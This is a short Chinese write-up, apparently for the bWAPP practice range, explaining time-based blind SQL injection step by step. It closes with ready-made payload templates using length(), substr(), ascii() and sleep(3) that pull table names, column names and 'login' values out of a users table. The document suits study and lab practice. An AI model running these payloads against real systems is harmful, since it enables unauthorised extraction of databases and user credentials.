时间盲注获取用户信息 时间盲注解决资料链接：https://gitee.com/kafeiweimei/b-wapp-range-clearance/tree/master/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%92%8C%E8%A7%A3%E5%86%B3%E6%80%9D%E8%B7%AF/2-%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E 思路： 《1》获取数据库： 1、使用【database()、length()】函数获取到数据库名称的长度； 2、根据获取到的数据库长度对数据库名称进行遍历出每个字符（使用substr()函数）； 3、使用ASCII码对每个字符转化为数字； 4、将转化的数字与ASCII数字进行匹配； 5、将匹配的ASCII码数字在转为字符后拼接即可获取到数据库名称 《2》获取数据库下的所有表名名称 1、获取指定数据库包含几个表（即数据库包含的表数量使用if函数判断count）； 2、获取到所有表的名称【分为： ①根据数据库包含的表数量进行遍历出每个表名称（使用limit遍历）； ②获取每个表名称的长度（使用Length函数)； ③根据获取到的每个表名称长度遍历出表名称包含的每个字符（使用Substr函数）； ④将遍历出的表名称字符转为ASCII码数字进行匹配； ⑤匹配出来的数字使用转为字符（使用chr方法） 】 《3》获取到每个表对应的字段及其对应的数据 获取表对应的字段及其对应数据的逻辑与【《2》获取数据库下的所有表名名称】一样

length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=%d and sleep(3) #获取表名长度 ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),%d,1))=%d and sleep(3) #获取表名 length((select column_name from information_schema.columns where table_name='users' limit 1,1))=%d and sleep(3) #获取user表列名长度 ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),%d,1))=%d and sleep(3) #获取列名 length((select login from users limit 1,1))=%d and sleep(3) #获取user表中login长度 ascii(substr((select login from users limit 1,1),%d,1))=%d and sleep(3) #获取user表中login值